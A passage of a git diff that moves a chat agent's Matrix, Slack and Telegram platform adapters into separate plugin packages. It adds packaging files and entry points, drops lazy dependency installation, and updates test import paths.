PlatformConfig(enabled=True, token="syt_test", extra={"homeserver": "https://matrix.example.org", "user_id": "@bot:example.org"}) @@ -2636,7 +2614,7 @@ class TestCreateMatrixSession: @pytest.mark.asyncio async def test_no_proxy_returns_trust_env_session(self): with patch.dict("sys.modules", _make_fake_mautrix()): - from gateway.platforms.matrix import _create_matrix_session + from hermes_agent_matrix import _create_matrix_session session = _create_matrix_session(None) try: assert session.trust_env is True @@ -2646,7 +2624,7 @@ class TestCreateMatrixSession: @pytest.mark.asyncio async def test_http_proxy_sets_default_proxy(self): with patch.dict("sys.modules", _make_fake_mautrix()): - from gateway.platforms.matrix import _create_matrix_session + from hermes_agent_matrix import _create_matrix_session session = _create_matrix_session("http://proxy:8080") try: assert str(session._default_proxy) == "http://proxy:8080" @@ -2664,7 +2642,7 @@ class TestCreateMatrixSession: ) ), }): - from gateway.platforms.matrix import _create_matrix_session + from hermes_agent_matrix import _create_matrix_session session = _create_matrix_session("socks5://proxy:1080") try: assert session.connector is fake_connector diff --git a/tests/gateway/test_matrix_exec_approval.py b/plugins/platforms/matrix/tests/test_matrix_exec_approval.py similarity index 94% rename from tests/gateway/test_matrix_exec_approval.py rename to plugins/platforms/matrix/tests/test_matrix_exec_approval.py index a7afe912cba..a6179791f59 100644 --- a/tests/gateway/test_matrix_exec_approval.py +++ b/plugins/platforms/matrix/tests/test_matrix_exec_approval.py @@ -10,7 +10,7 @@ class TestMatrixExecApprovalReactions: @pytest.mark.asyncio async def test_send_exec_approval_registers_prompt_and_seeds_reactions(self, monkeypatch): monkeypatch.setenv("MATRIX_ALLOWED_USERS", "@liizfq:liizfq.top") - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter adapter = MatrixAdapter(PlatformConfig(enabled=True, token="tok", extra={"homeserver": "https://matrix.example.org"})) adapter._client = types.SimpleNamespace() @@ -34,7 +34,7 @@ class TestMatrixExecApprovalReactions: @pytest.mark.asyncio async def test_reaction_resolves_pending_approval(self, monkeypatch): monkeypatch.setenv("MATRIX_ALLOWED_USERS", "@liizfq:liizfq.top") - from gateway.platforms.matrix import MatrixAdapter, _MatrixApprovalPrompt + from hermes_agent_matrix import MatrixAdapter, _MatrixApprovalPrompt adapter = MatrixAdapter(PlatformConfig(enabled=True, token="tok", extra={"homeserver": "https://matrix.example.org"})) # Resolve user_id so _is_self_sender doesn't defensively drop all traffic (#15763). diff --git a/tests/gateway/test_matrix_mention.py b/plugins/platforms/matrix/tests/test_matrix_mention.py similarity index 99% rename from tests/gateway/test_matrix_mention.py rename to plugins/platforms/matrix/tests/test_matrix_mention.py index 6c34dbce892..bfe494d314b 100644 --- a/tests/gateway/test_matrix_mention.py +++ b/plugins/platforms/matrix/tests/test_matrix_mention.py @@ -18,7 +18,7 @@ from gateway.config import PlatformConfig def _make_adapter(tmp_path=None): """Create a MatrixAdapter with mocked config.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, diff --git a/tests/gateway/test_matrix_voice.py b/plugins/platforms/matrix/tests/test_matrix_voice.py similarity index 99% rename from tests/gateway/test_matrix_voice.py rename to plugins/platforms/matrix/tests/test_matrix_voice.py index 3b3e08d1422..48213079f55 100644 --- a/tests/gateway/test_matrix_voice.py +++ b/plugins/platforms/matrix/tests/test_matrix_voice.py @@ -28,7 +28,7 @@ from gateway.platforms.base import MessageType def _make_adapter(): """Create a MatrixAdapter with mocked config.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter from gateway.config import PlatformConfig config = PlatformConfig( diff --git a/plugins/platforms/slack/__init__.py b/plugins/platforms/slack/__init__.py new file mode 100644 index 00000000000..e023a975ee9 --- /dev/null +++ b/plugins/platforms/slack/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_slack.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_slack package.""" + from hermes_agent_slack import register as _inner_register + _inner_register(ctx) diff --git a/plugins/platforms/slack/hermes_agent_slack/__init__.py b/plugins/platforms/slack/hermes_agent_slack/__init__.py new file mode 100644 index 00000000000..9b59d0f1c32 --- /dev/null +++ b/plugins/platforms/slack/hermes_agent_slack/__init__.py @@ -0,0 +1,30 @@ +"""hermes-agent-slack: Slack platform adapter for Hermes Agent.""" + +from hermes_agent_slack.adapter import ( # noqa: F401 + SlackAdapter, + check_slack_requirements, + _slash_user_id, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_slack.adapter import ( + SlackAdapter, + check_slack_requirements, + ) + + ctx.register_platform( + name="slack", + label="Slack", + adapter_factory=lambda cfg: SlackAdapter(cfg), + check_fn=check_slack_requirements, + install_hint="pip install 'hermes-agent[slack]'", + emoji="💬", + ) + + ctx.register_platform_entry( + name="slack", + adapter_class=SlackAdapter, + check_requirements=check_slack_requirements, + ) diff --git a/gateway/platforms/slack.py b/plugins/platforms/slack/hermes_agent_slack/adapter.py similarity index 99% rename from gateway/platforms/slack.py rename to plugins/platforms/slack/hermes_agent_slack/adapter.py index 5accfdb4108..f3338455741 100644 --- a/gateway/platforms/slack.py +++ b/plugins/platforms/slack/hermes_agent_slack/adapter.py @@ -30,10 +30,6 @@ except ImportError: AsyncSocketModeHandler = Any AsyncWebClient = Any -import sys -from pathlib import Path as _Path -sys.path.insert(0, str(_Path(__file__).resolve().parents[2])) - from gateway.config import Platform, PlatformConfig from gateway.platforms.helpers import MessageDeduplicator from gateway.platforms.base import ( @@ -75,27 +71,28 @@ class _ThreadContextCache: def check_slack_requirements() -> bool: """Check if Slack dependencies are available. - Lazy-installs slack-bolt/slack-sdk via ``tools.lazy_deps.ensure("platform.slack")`` - on first call if not present. Rebinds all module-level globals on success. + Since this is a separate package, deps are guaranteed by the package + manager. Just verify the SDK can be imported. """ if SLACK_AVAILABLE: return True - def _import(): - from slack_bolt.async_app import AsyncApp - from slack_bolt.adapter.socket_mode.async_handler import AsyncSocketModeHandler - from slack_sdk.web.async_client import AsyncWebClient - import aiohttp - return { - "AsyncApp": AsyncApp, - "AsyncSocketModeHandler": AsyncSocketModeHandler, - "AsyncWebClient": AsyncWebClient, - "aiohttp": aiohttp, - "SLACK_AVAILABLE": True, - } + try: + from slack_bolt.async_app import AsyncApp as _AsyncApp + from slack_bolt.adapter.socket_mode.async_handler import AsyncSocketModeHandler as _ASMH + from slack_sdk.web.async_client import AsyncWebClient as _AWC + import aiohttp as _aiohttp + except ImportError: + return False - from tools.lazy_deps import ensure_and_bind - return ensure_and_bind("platform.slack", _import, globals(), prompt=False) + globals().update({ + "AsyncApp": _AsyncApp, + "AsyncSocketModeHandler": _ASMH, + "AsyncWebClient": _AWC, + "aiohttp": _aiohttp, + "SLACK_AVAILABLE": True, + }) + return True def _extract_text_from_slack_blocks(blocks: list) -> str: diff --git a/plugins/platforms/slack/plugin.yaml b/plugins/platforms/slack/plugin.yaml new file mode 100644 index 00000000000..18f1be81d3d --- /dev/null +++ b/plugins/platforms/slack/plugin.yaml @@ -0,0 +1,6 @@ +name: slack +version: 0.1.0 +description: Slack platform adapter for Hermes Agent +kind: platform +provides_tools: [] +provides_hooks: [] diff --git a/plugins/platforms/slack/pyproject.toml b/plugins/platforms/slack/pyproject.toml new file mode 100644 index 00000000000..bb32a14b2a0 --- /dev/null +++ b/plugins/platforms/slack/pyproject.toml @@ -0,0 +1,21 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-slack" +version = "0.1.0" +description = "Slack platform adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "slack-bolt==1.27.0", + "slack-sdk==3.40.1", + "aiohttp==3.13.3", +] + +[project.entry-points."hermes_agent.plugins"] +slack = "hermes_agent_slack:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_slack*"] diff --git a/tests/gateway/test_slack.py b/plugins/platforms/slack/tests/test_slack.py similarity index 99% rename from tests/gateway/test_slack.py rename to plugins/platforms/slack/tests/test_slack.py index bc09279eec4..350f5eb2be1 100644 --- a/tests/gateway/test_slack.py +++ b/plugins/platforms/slack/tests/test_slack.py @@ -60,10 +60,10 @@ def _ensure_slack_mock(): _ensure_slack_mock() # Patch SLACK_AVAILABLE before importing the adapter -import gateway.platforms.slack as _slack_mod +import hermes_agent_slack as _slack_mod _slack_mod.SLACK_AVAILABLE = True -from gateway.platforms.slack import SlackAdapter # noqa: E402 +from hermes_agent_slack import SlackAdapter # noqa: E402 # --------------------------------------------------------------------------- @@ -2991,7 +2991,7 @@ class TestSlashEphemeralAck: mock_session.__aenter__ = AsyncMock(return_value=mock_session) mock_session.__aexit__ = AsyncMock(return_value=False) - with patch("gateway.platforms.slack.aiohttp.ClientSession", return_value=mock_session): + with patch("hermes_agent_slack.adapter.aiohttp.ClientSession", return_value=mock_session): result = await adapter.send("C_SLASH", "Queued for the next turn.") assert result.success is True @@ -3038,7 +3038,7 @@ class TestSlashEphemeralAck: mock_session.__aenter__ = AsyncMock(return_value=mock_session) mock_session.__aexit__ = AsyncMock(return_value=False) - with patch("gateway.platforms.slack.aiohttp.ClientSession", return_value=mock_session): + with patch("hermes_agent_slack.adapter.aiohttp.ClientSession", return_value=mock_session): result = await adapter.send("C1", "Some response") # Still success — the user saw the initial ack already @@ -3058,7 +3058,7 @@ class TestSlashEphemeralAck: mock_session.__aenter__ = AsyncMock(return_value=mock_session) mock_session.__aexit__ = AsyncMock(return_value=False) - with patch("gateway.platforms.slack.aiohttp.ClientSession", return_value=mock_session): + with patch("hermes_agent_slack.adapter.aiohttp.ClientSession", return_value=mock_session): result = await adapter.send("C1", "Some response") assert result.success is True @@ -3123,7 +3123,7 @@ class TestSlashEphemeralAck: async def test_concurrent_users_same_channel_isolates_contexts(self, adapter): """Two users slash on the same channel — each gets their own context.""" import time - from gateway.platforms.slack import _slash_user_id + from hermes_agent_slack import _slash_user_id # Simulate two users stashing contexts on the same channel. adapter._slash_command_contexts[("C_SHARED", "U_ALICE")] = { @@ -3163,7 +3163,7 @@ class TestSlashEphemeralAck: async def test_no_contextvar_does_not_match_any_context(self, adapter): """send() without ContextVar (non-slash path) must not steal contexts.""" import time - from gateway.platforms.slack import _slash_user_id + from hermes_agent_slack import _slash_user_id adapter._slash_command_contexts[("C1", "U1")] = { "response_url": "https://hooks.slack.com/test", diff --git a/tests/gateway/test_slack_approval_buttons.py b/plugins/platforms/slack/tests/test_slack_approval_buttons.py similarity index 99% rename from tests/gateway/test_slack_approval_buttons.py rename to plugins/platforms/slack/tests/test_slack_approval_buttons.py index bc12d0072bd..402c93290b9 100644 --- a/tests/gateway/test_slack_approval_buttons.py +++ b/plugins/platforms/slack/tests/test_slack_approval_buttons.py @@ -43,7 +43,7 @@ def _ensure_slack_mock(): _ensure_slack_mock() -from gateway.platforms.slack import SlackAdapter +from hermes_agent_slack import SlackAdapter from gateway.config import Platform, PlatformConfig diff --git a/tests/gateway/test_slack_channel_skills.py b/plugins/platforms/slack/tests/test_slack_channel_skills.py similarity index 98% rename from tests/gateway/test_slack_channel_skills.py rename to plugins/platforms/slack/tests/test_slack_channel_skills.py index 6f5987a2e59..eb81d102e21 100644 --- a/tests/gateway/test_slack_channel_skills.py +++ b/plugins/platforms/slack/tests/test_slack_channel_skills.py @@ -4,7 +4,7 @@ from unittest.mock import MagicMock def _make_adapter(extra=None): """Create a minimal SlackAdapter stub with the given ``config.extra``.""" - from gateway.platforms.slack import SlackAdapter + from hermes_agent_slack import SlackAdapter adapter = object.__new__(SlackAdapter) adapter.config = MagicMock() adapter.config.extra = extra or {} diff --git a/tests/gateway/test_slack_mention.py b/plugins/platforms/slack/tests/test_slack_mention.py similarity index 99% rename from tests/gateway/test_slack_mention.py rename to plugins/platforms/slack/tests/test_slack_mention.py index 23aa2f15454..695917f34a7 100644 --- a/tests/gateway/test_slack_mention.py +++ b/plugins/platforms/slack/tests/test_slack_mention.py @@ -40,10 +40,10 @@ def _ensure_slack_mock(): _ensure_slack_mock() -import gateway.platforms.slack as _slack_mod +import hermes_agent_slack as _slack_mod _slack_mod.SLACK_AVAILABLE = True -from gateway.platforms.slack import SlackAdapter # noqa: E402 +from hermes_agent_slack import SlackAdapter # noqa: E402 # --------------------------------------------------------------------------- diff --git a/plugins/platforms/telegram/__init__.py b/plugins/platforms/telegram/__init__.py new file mode 100644 index 00000000000..2b9799dad85 --- /dev/null +++ b/plugins/platforms/telegram/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_telegram.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_telegram package.""" + from hermes_agent_telegram import register as _inner_register + _inner_register(ctx) diff --git a/plugins/platforms/telegram/hermes_agent_telegram/__init__.py b/plugins/platforms/telegram/hermes_agent_telegram/__init__.py new file mode 100644 index 00000000000..dba3d376fce --- /dev/null +++ b/plugins/platforms/telegram/hermes_agent_telegram/__init__.py @@ -0,0 +1,31 @@ +"""hermes-agent-telegram: Telegram platform adapter for Hermes Agent.""" + +from hermes_agent_telegram.adapter import ( # noqa: F401 + TelegramAdapter, + check_telegram_requirements, + _strip_mdv2, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_telegram.adapter import ( + TelegramAdapter, + check_telegram_requirements, + _strip_mdv2, + ) + + ctx.register_platform( + name="telegram", + label="Telegram", + adapter_factory=lambda cfg: TelegramAdapter(cfg), + check_fn=check_telegram_requirements, + emoji="✈️", + ) + + ctx.register_platform_entry( + name="telegram", + adapter_class=TelegramAdapter, + check_requirements=check_telegram_requirements, + helper_functions={"_strip_mdv2": _strip_mdv2}, + ) diff --git a/gateway/platforms/telegram.py b/plugins/platforms/telegram/hermes_agent_telegram/adapter.py similarity index 99% rename from gateway/platforms/telegram.py rename to plugins/platforms/telegram/hermes_agent_telegram/adapter.py index 1e3ac5728d4..238480f5f2b 100644 --- a/gateway/platforms/telegram.py +++ b/plugins/platforms/telegram/hermes_agent_telegram/adapter.py @@ -60,10 +60,6 @@ except ImportError: DEFAULT_TYPE = Any ContextTypes = _MockContextTypes -import sys -from pathlib import Path as _Path -sys.path.insert(0, str(_Path(__file__).resolve().parents[2])) - from gateway.config import Platform, PlatformConfig from gateway.platforms.base import ( BasePlatformAdapter, @@ -111,10 +107,8 @@ MAX_COMMANDS_PER_SCOPE = 30 def check_telegram_requirements() -> bool: """Check if Telegram dependencies are available. - If python-telegram-bot is missing, attempts to lazy-install it via - ``tools.lazy_deps.ensure("platform.telegram")``. After a successful - install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True - so the adapter's class-level type aliases get rebound. + Since this is a separate package, deps are guaranteed by the package + manager. Just verify the SDK can be imported. """ global TELEGRAM_AVAILABLE, Update, Bot, Message, InlineKeyboardButton global InlineKeyboardMarkup, LinkPreviewOptions, Application @@ -122,11 +116,6 @@ def check_telegram_requirements() -> bool: global ContextTypes, filters, ParseMode, ChatType, HTTPXRequest if TELEGRAM_AVAILABLE: return True - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("platform.telegram", prompt=False) - except Exception: - return False try: from telegram import Update as _Update, Bot as _Bot, Message as _Message from telegram import InlineKeyboardButton as _IKB, InlineKeyboardMarkup as _IKM diff --git a/plugins/platforms/telegram/plugin.yaml b/plugins/platforms/telegram/plugin.yaml new file mode 100644 index 00000000000..c7764d93f1b --- /dev/null +++ b/plugins/platforms/telegram/plugin.yaml @@ -0,0 +1,6 @@ +name: telegram +version: 0.1.0 +description: Telegram platform adapter for Hermes Agent +kind: platform +provides_tools: [] +provides_hooks: [] diff --git a/plugins/platforms/telegram/pyproject.toml b/plugins/platforms/telegram/pyproject.toml new file mode 100644 index 00000000000..340538d0d06 --- /dev/null +++ b/plugins/platforms/telegram/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-telegram" +version = "0.1.0" +description = "Telegram platform adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "python-telegram-bot[webhooks]==22.6", +] + +[project.entry-points."hermes_agent.plugins"] +telegram = "hermes_agent_telegram:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_telegram*"] diff --git a/plugins/platforms/telegram/tests/conftest.py b/plugins/platforms/telegram/tests/conftest.py new file mode 100644 index 00000000000..ac994b7f238 --- /dev/null +++ b/plugins/platforms/telegram/tests/conftest.py @@ -0,0 +1,29 @@ +"""Shared fixtures for telegram plugin tests. + +Provides the ``_ensure_telegram_mock`` helper that guarantees a minimal mock +of the ``telegram`` package is registered in :data:`sys.modules` **before** +any test file triggers ``from hermes_agent_telegram import ...``. +""" + +import sys +from unittest.mock import MagicMock + +import pytest + + +def _ensure_telegram_mock(): + if "telegram" in sys.modules and hasattr(sys.modules["telegram"], "__file__"): + return + mod = MagicMock() + mod.ext.ContextTypes.DEFAULT_TYPE = type(None) + mod.constants.ParseMode.MARKDOWN_V2 = "MarkdownV2" + mod.constants.ChatType.GROUP = "group" + mod.constants.ChatType.SUPERGROUP = "supergroup" + mod.constants.ChatType.CHANNEL = "channel" + mod.constants.ChatType.PRIVATE = "private" + for name in ("telegram", "telegram.ext", "telegram.constants", "telegram.request"): + sys.modules.setdefault(name, mod) + + +# Auto-apply at collection time so every test file sees the mock. +_ensure_telegram_mock() diff --git a/tests/gateway/test_telegram_approval_buttons.py b/plugins/platforms/telegram/tests/test_telegram_approval_buttons.py similarity index 99% rename from tests/gateway/test_telegram_approval_buttons.py rename to plugins/platforms/telegram/tests/test_telegram_approval_buttons.py index e2ca8566827..49dcd6e52d4 100644 --- a/tests/gateway/test_telegram_approval_buttons.py +++ b/plugins/platforms/telegram/tests/test_telegram_approval_buttons.py @@ -47,7 +47,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter from gateway.config import Platform, PlatformConfig diff --git a/tests/gateway/test_telegram_audio_vs_voice.py b/plugins/platforms/telegram/tests/test_telegram_audio_vs_voice.py similarity index 100% rename from tests/gateway/test_telegram_audio_vs_voice.py rename to plugins/platforms/telegram/tests/test_telegram_audio_vs_voice.py diff --git a/tests/gateway/test_telegram_callback_auth_fail_closed.py b/plugins/platforms/telegram/tests/test_telegram_callback_auth_fail_closed.py similarity index 98% rename from tests/gateway/test_telegram_callback_auth_fail_closed.py rename to plugins/platforms/telegram/tests/test_telegram_callback_auth_fail_closed.py index 8f6b0fa5afe..8c12430b5a3 100644 --- a/tests/gateway/test_telegram_callback_auth_fail_closed.py +++ b/plugins/platforms/telegram/tests/test_telegram_callback_auth_fail_closed.py @@ -55,7 +55,7 @@ def _inject_fake_telegram(monkeypatch): def _make_adapter(): - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter config = PlatformConfig(enabled=True, token="fake-token") adapter = object.__new__(TelegramAdapter) diff --git a/tests/gateway/test_telegram_caption_merge.py b/plugins/platforms/telegram/tests/test_telegram_caption_merge.py similarity index 98% rename from tests/gateway/test_telegram_caption_merge.py rename to plugins/platforms/telegram/tests/test_telegram_caption_merge.py index 09cfd8c3d7e..62e0a8d057e 100644 --- a/tests/gateway/test_telegram_caption_merge.py +++ b/plugins/platforms/telegram/tests/test_telegram_caption_merge.py @@ -2,7 +2,7 @@ import pytest -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter merge = TelegramAdapter._merge_caption diff --git a/tests/gateway/test_telegram_channel_posts.py b/plugins/platforms/telegram/tests/test_telegram_channel_posts.py similarity index 100% rename from tests/gateway/test_telegram_channel_posts.py rename to plugins/platforms/telegram/tests/test_telegram_channel_posts.py diff --git a/tests/gateway/test_telegram_clarify_buttons.py b/plugins/platforms/telegram/tests/test_telegram_clarify_buttons.py similarity index 99% rename from tests/gateway/test_telegram_clarify_buttons.py rename to plugins/platforms/telegram/tests/test_telegram_clarify_buttons.py index 56c0f9e60c4..33e2affa124 100644 --- a/tests/gateway/test_telegram_clarify_buttons.py +++ b/plugins/platforms/telegram/tests/test_telegram_clarify_buttons.py @@ -49,7 +49,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter from gateway.config import Platform, PlatformConfig diff --git a/tests/gateway/test_telegram_conflict.py b/plugins/platforms/telegram/tests/test_telegram_conflict.py similarity index 92% rename from tests/gateway/test_telegram_conflict.py rename to plugins/platforms/telegram/tests/test_telegram_conflict.py index db132fe05a5..f17d8fdc2a7 100644 --- a/tests/gateway/test_telegram_conflict.py +++ b/plugins/platforms/telegram/tests/test_telegram_conflict.py @@ -34,7 +34,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 @pytest.fixture(autouse=True) @@ -42,9 +42,9 @@ def _no_auto_discovery(monkeypatch): """Disable DoH auto-discovery so connect() uses the plain builder chain.""" async def _noop(): return [] - monkeypatch.setattr("gateway.platforms.telegram.discover_fallback_ips", _noop) + monkeypatch.setattr("hermes_agent_telegram.adapter.discover_fallback_ips", _noop) # Mock HTTPXRequest so the builder chain doesn't fail - monkeypatch.setattr("gateway.platforms.telegram.HTTPXRequest", lambda **kwargs: MagicMock()) + monkeypatch.setattr("hermes_agent_telegram.adapter.HTTPXRequest", lambda **kwargs: MagicMock()) @pytest.mark.asyncio @@ -103,7 +103,7 @@ async def test_polling_conflict_retries_before_fatal(monkeypatch): builder.request.return_value = builder builder.get_updates_request.return_value = builder builder.build.return_value = app - monkeypatch.setattr("gateway.platforms.telegram.Application", SimpleNamespace(builder=MagicMock(return_value=builder))) + monkeypatch.setattr("hermes_agent_telegram.adapter.Application", SimpleNamespace(builder=MagicMock(return_value=builder))) # Speed up retries for testing monkeypatch.setattr("asyncio.sleep", AsyncMock()) @@ -179,7 +179,7 @@ async def test_polling_conflict_becomes_fatal_after_retries(monkeypatch): builder.request.return_value = builder builder.get_updates_request.return_value = builder builder.build.return_value = app - monkeypatch.setattr("gateway.platforms.telegram.Application", SimpleNamespace(builder=MagicMock(return_value=builder))) + monkeypatch.setattr("hermes_agent_telegram.adapter.Application", SimpleNamespace(builder=MagicMock(return_value=builder))) # Speed up retries for testing monkeypatch.setattr("asyncio.sleep", AsyncMock()) @@ -232,7 +232,7 @@ async def test_connect_marks_retryable_fatal_error_for_startup_network_failure(m start=AsyncMock(), ) builder.build.return_value = app - monkeypatch.setattr("gateway.platforms.telegram.Application", SimpleNamespace(builder=MagicMock(return_value=builder))) + monkeypatch.setattr("hermes_agent_telegram.adapter.Application", SimpleNamespace(builder=MagicMock(return_value=builder))) ok = await adapter.connect() @@ -277,7 +277,7 @@ async def test_connect_clears_webhook_before_polling(monkeypatch): builder.get_updates_request.return_value = builder builder.build.return_value = app monkeypatch.setattr( - "gateway.platforms.telegram.Application", + "hermes_agent_telegram.adapter.Application", SimpleNamespace(builder=MagicMock(return_value=builder)), ) @@ -301,7 +301,7 @@ async def test_disconnect_skips_inactive_updater_and_app(monkeypatch): adapter._app = app warning = MagicMock() - monkeypatch.setattr("gateway.platforms.telegram.logger.warning", warning) + monkeypatch.setattr("hermes_agent_telegram.adapter.logger.warning", warning) await adapter.disconnect() diff --git a/tests/gateway/test_telegram_documents.py b/plugins/platforms/telegram/tests/test_telegram_documents.py similarity index 98% rename from tests/gateway/test_telegram_documents.py rename to plugins/platforms/telegram/tests/test_telegram_documents.py index 8b2e1943cc2..8e51d780b2c 100644 --- a/tests/gateway/test_telegram_documents.py +++ b/plugins/platforms/telegram/tests/test_telegram_documents.py @@ -53,7 +53,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() # Now we can safely import -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 # --------------------------------------------------------------------------- @@ -444,7 +444,7 @@ class TestMediaGroups: msg1 = _make_message(caption="two images", photo=[first_photo]) msg2 = _make_message(photo=[second_photo]) - with patch("gateway.platforms.telegram.cache_image_from_bytes", side_effect=["/tmp/burst-one.jpg", "/tmp/burst-two.jpg"]): + with patch("hermes_agent_telegram.adapter.cache_image_from_bytes", side_effect=["/tmp/burst-one.jpg", "/tmp/burst-two.jpg"]): await adapter._handle_media_message(_make_update(msg1), MagicMock()) await adapter._handle_media_message(_make_update(msg2), MagicMock()) assert adapter.handle_message.await_count == 0 @@ -464,7 +464,7 @@ class TestMediaGroups: msg1 = _make_message(caption="two images", media_group_id="album-1", photo=[first_photo]) msg2 = _make_message(media_group_id="album-1", photo=[second_photo]) - with patch("gateway.platforms.telegram.cache_image_from_bytes", side_effect=["/tmp/one.jpg", "/tmp/two.jpg"]): + with patch("hermes_agent_telegram.adapter.cache_image_from_bytes", side_effect=["/tmp/one.jpg", "/tmp/two.jpg"]): await adapter._handle_media_message(_make_update(msg1), MagicMock()) await adapter._handle_media_message(_make_update(msg2), MagicMock()) assert adapter.handle_message.await_count == 0 @@ -481,7 +481,7 @@ class TestMediaGroups: first_photo = _make_photo(_make_file_obj(b"first")) msg = _make_message(caption="two images", media_group_id="album-2", photo=[first_photo]) - with patch("gateway.platforms.telegram.cache_image_from_bytes", return_value="/tmp/one.jpg"): + with patch("hermes_agent_telegram.adapter.cache_image_from_bytes", return_value="/tmp/one.jpg"): await adapter._handle_media_message(_make_update(msg), MagicMock()) assert "album-2" in adapter._media_group_events @@ -784,8 +784,8 @@ class TestTelegramPhotoBatching: ) with ( - patch("gateway.platforms.telegram.asyncio.current_task", return_value=old_task), - patch("gateway.platforms.telegram.asyncio.sleep", new=AsyncMock()), + patch("hermes_agent_telegram.adapter.asyncio.current_task", return_value=old_task), + patch("hermes_agent_telegram.adapter.asyncio.sleep", new=AsyncMock()), ): await adapter._flush_photo_batch(batch_key) diff --git a/tests/gateway/test_telegram_format.py b/plugins/platforms/telegram/tests/test_telegram_format.py similarity index 99% rename from tests/gateway/test_telegram_format.py rename to plugins/platforms/telegram/tests/test_telegram_format.py index 688bdc7269d..c04cb9eef6b 100644 --- a/tests/gateway/test_telegram_format.py +++ b/plugins/platforms/telegram/tests/test_telegram_format.py @@ -35,7 +35,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import ( # noqa: E402 +from hermes_agent_telegram.adapter import ( # noqa: E402 TelegramAdapter, _escape_mdv2, _strip_mdv2, diff --git a/tests/gateway/test_telegram_forum_commands.py b/plugins/platforms/telegram/tests/test_telegram_forum_commands.py similarity index 98% rename from tests/gateway/test_telegram_forum_commands.py rename to plugins/platforms/telegram/tests/test_telegram_forum_commands.py index 0e2ce6d286a..e00fbf66430 100644 --- a/tests/gateway/test_telegram_forum_commands.py +++ b/plugins/platforms/telegram/tests/test_telegram_forum_commands.py @@ -11,7 +11,7 @@ from gateway.config import Platform, PlatformConfig def _make_test_adapter(): """Build a TelegramAdapter without running __init__.""" - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter adapter = object.__new__(TelegramAdapter) adapter.platform = Platform.TELEGRAM diff --git a/tests/gateway/test_telegram_group_gating.py b/plugins/platforms/telegram/tests/test_telegram_group_gating.py similarity index 99% rename from tests/gateway/test_telegram_group_gating.py rename to plugins/platforms/telegram/tests/test_telegram_group_gating.py index c3814a7fb8a..f813edeb6f4 100644 --- a/tests/gateway/test_telegram_group_gating.py +++ b/plugins/platforms/telegram/tests/test_telegram_group_gating.py @@ -23,7 +23,7 @@ def _make_adapter( observe_unmentioned_group_messages=None, bot_username="hermes_bot", ): - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter extra = {} if require_mention is not None: diff --git a/tests/gateway/test_telegram_max_doc_bytes.py b/plugins/platforms/telegram/tests/test_telegram_max_doc_bytes.py similarity index 96% rename from tests/gateway/test_telegram_max_doc_bytes.py rename to plugins/platforms/telegram/tests/test_telegram_max_doc_bytes.py index 163dcc9f576..c956abac30b 100644 --- a/tests/gateway/test_telegram_max_doc_bytes.py +++ b/plugins/platforms/telegram/tests/test_telegram_max_doc_bytes.py @@ -29,7 +29,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 def test_max_doc_bytes_defaults_to_20mb_without_base_url(): diff --git a/tests/gateway/test_telegram_mention_boundaries.py b/plugins/platforms/telegram/tests/test_telegram_mention_boundaries.py similarity index 99% rename from tests/gateway/test_telegram_mention_boundaries.py rename to plugins/platforms/telegram/tests/test_telegram_mention_boundaries.py index 2a203857efb..917c34e6dc7 100644 --- a/tests/gateway/test_telegram_mention_boundaries.py +++ b/plugins/platforms/telegram/tests/test_telegram_mention_boundaries.py @@ -14,7 +14,7 @@ those contexts. from types import SimpleNamespace from gateway.config import Platform, PlatformConfig -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter def _make_adapter(): diff --git a/tests/gateway/test_telegram_model_picker.py b/plugins/platforms/telegram/tests/test_telegram_model_picker.py similarity index 99% rename from tests/gateway/test_telegram_model_picker.py rename to plugins/platforms/telegram/tests/test_telegram_model_picker.py index 3e1d4cf71e8..a5bf30e4cab 100644 --- a/tests/gateway/test_telegram_model_picker.py +++ b/plugins/platforms/telegram/tests/test_telegram_model_picker.py @@ -32,7 +32,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() from gateway.config import PlatformConfig -from gateway.platforms.telegram import TelegramAdapter +from hermes_agent_telegram import TelegramAdapter def 